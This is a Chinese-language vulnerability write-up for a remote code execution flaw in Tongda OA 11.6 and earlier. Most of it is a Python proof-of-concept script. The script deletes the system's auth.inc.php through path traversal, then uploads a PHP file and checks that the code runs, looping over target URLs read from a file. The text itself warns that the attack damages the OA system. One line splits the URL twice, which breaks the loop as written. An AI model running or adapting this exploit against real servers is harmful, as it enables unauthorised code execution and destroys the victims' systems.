通达oa 11.6 远程命令执行漏洞
============================

一、漏洞简介
------------

此漏洞会导致网站程序严重损坏，并影响网站业务正常运行，请谨慎使用！

二、漏洞影响
------------

通达oa \<= 11.6

三、复现过程
------------

### poc

    #! /usr/bin/env python3
    # -*- coding: utf-8 -*-
    import requests
    #by Tommy，在原作者上修改而来，2020-8-19，通达OA 0 day漏洞利用
    import sys
    version = sys.version_info
    if version < (3, 0):
        print('The current version is not supported, you need to use python3')
        sys.exit()
        
    def exploit(target):
        try:
            target=target
            payload='<?php echo md5("exp-test"); ?>'#无害检测
            print(target,"[*]删除auth.inc.php...")

            url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"#删除auth.inc.php请求
            requests.get(url=url,verify=False,timeout=10)
            print(target,"[*]正在检查文件是否已删除...")
            url=target+"/inc/auth.inc.php"
            page=requests.get(url=url,verify=False,timeout=10).text
            #print(page)
            if 'No input file specified.' not in page:
                print(target,"[-]无法删除auth.inc.php文件")
                return 0
            print(target,"[+]删除auth.inc.php成功")
            print(target,"[*]开始上传payload...")
            url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
            files = {'FILE1': ('deconf.php', payload)}
            requests.post(url=url,files=files,verify=False,timeout=10)
            url=target+"/_deconf.php"
            page=requests.get(url=url,verify=False,timeout=10).text
            if 'No input file specified.' not in page:
                print("[+]************************文件已存在，上传成功************************")
                if '8a8127bc83b94ad01414a7a3ea4b8' in page:#如果执行过md5函数，才确认漏洞存在，减少误报
                    print(target,"************************代码执行成功，存在漏洞************************")
                    print(target,"[+]URL:",url)
            else:
                print(target,"[-]文件上传失败")
        except Exception as e:
            print(target,e)
    urls='url.txt'
    print("[*]警告：利用此漏洞，会删除auth.inc.php，这可能会损坏OA系统")
    input("按Enter继续")
    for url in open(urls,'r',encoding='utf-8').read().split('\n'):
        url=url.split()
        url=url.split()
        exploit(url[0])